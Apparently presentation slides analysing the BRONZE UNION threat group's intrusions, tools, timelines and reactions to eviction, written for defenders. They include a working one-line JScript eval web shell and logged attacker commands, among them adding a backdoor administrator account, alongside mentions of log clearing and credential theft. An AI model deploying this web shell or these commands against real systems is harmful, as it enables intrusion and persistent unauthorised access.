BRONZE UNION

Choose your own intrusion:
A journey into the DNA of a targeted threat group
BRONZE UNION’s operating philosophy

<table>
<thead>
<tr>
<th>Maintain access</th>
<th>Don’t get caught</th>
</tr>
</thead>
<tbody>
<tr>
<td>Leave web shells in place</td>
<td>Remove web shells when not being used</td>
</tr>
<tr>
<td>Install RATs with persistence</td>
<td>Only copy essential tools to environment</td>
</tr>
<tr>
<td>Gain creds to enable VPN use</td>
<td>Use captured creds sparingly</td>
</tr>
<tr>
<td>Regularly check and maintain access</td>
<td>Minimise detection opportunities.</td>
</tr>
</tbody>
</table>
Intrusion Maintenance
…Periodically returning for credentials
Many Paths To Success Timeline

- **SysUpdate Installation**: Day -365
- **OwaAuth web shell**: Day -120
- **HttpBrowser**: Day -90
- **Remote Desktop**: Day 0
YOU turn YOUR attention to ENVIRONMENT B ...

Launch a compromise campaign using an Apache Struts vuln

Establish presence on a second network (ENVIRONMENT B).

Clear event logs (e.g. System.evtx)
ACTION: INSTALL WEBSHELL
<%@ Page Language="Jscript"%><%eval(Request.Item["PASSWORD"],"unsafe");%>

ACTION: RECON AND CONFIG
13:19:31 whoami
13:20:09 cmd.exe /c query user
13:20:27 net user
13:22:15 net user admin Admin123 /add

ACTION: RDP TO INTERNAL HOST

ACTION: INSTALL ZXSHELL
13:34:47
13:35:00
13:36:53

15:18:37
15:24:19
15:25:58

ENTER PLAYER B?

net user admin /del
ipconfig /all
ping -n 1 {REDACTED}

nbtscan {REDACTED}
sqllogin.exe
nbtscan {REDACTED}
Self-eviction through

Firewall with Advanced Security
- Inbound Rules
- Outbound Rules
- Connection Security Rules
- Monitoring
  - Firewall
  - Connection Security Rules
  - Security Associations

Inbound Rules

<table>
<thead>
<tr>
<th>Name</th>
<th>Group</th>
</tr>
</thead>
<tbody>
<tr>
<td>Connect to a Network Projector (WSD-In)</td>
<td>Core N...</td>
</tr>
<tr>
<td>Core Networking - Destination Unreachable (ICMPv6)</td>
<td>Core N...</td>
</tr>
<tr>
<td>Core Networking - Destination Unreachable Fragments</td>
<td>Core N...</td>
</tr>
<tr>
<td>Core Networking - Dynamic Host Configuration Protocol</td>
<td>Core N...</td>
</tr>
<tr>
<td>Core Networking - Internet Group Management Protocol</td>
<td>Core N...</td>
</tr>
<tr>
<td>Core Networking - IPv6 (IPv6-In)</td>
<td>Core N...</td>
</tr>
</tbody>
</table>

ZxShell Disconnected

Unable to access host.
Sophisticated groups have unsophisticated moments...

Source: Sega

Source: CinemaWare
Compare THAT to THIS

Malicious document / SWC

Downloads SFX file

Executes via DLL search-order hijacking

Infects SysUpdate into svchost.exe

Checks command-line arguments

Performs installation tasks

Downloads second-stage payload
Return to ENVIRONMENT C

Day 1
Web shell and local privilege escalation

Day 2
RDP & WinVNC used to move laterally

Day 3
Deployed remote access tools to 3 hosts, and credential theft
What happened after CVE-2019-0604 exploitation?

Light reconnaissance using native tools: quser, net commands, hostname, whoami, ping, etc.

Off-the-shelf tools:
- EternalBlue checker, mimikatz, etc.

Proprietary tools:
- SysUpdate / Hyperbro?
An alternative response to eviction...

<table>
<thead>
<tr>
<th>Event Description</th>
<th>Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>Eviction</td>
<td>0h0m</td>
</tr>
<tr>
<td>External recon to identify remote access services</td>
<td>01h25m</td>
</tr>
<tr>
<td>Vendor credentials used to access VPN</td>
<td>01h54m</td>
</tr>
<tr>
<td>Post intrusion tool downloaded from compromised websites</td>
<td>03h49m</td>
</tr>
</tbody>
</table>
In conclusion

“Understanding threats is a humanity, yet we continue to study them as though they were a science”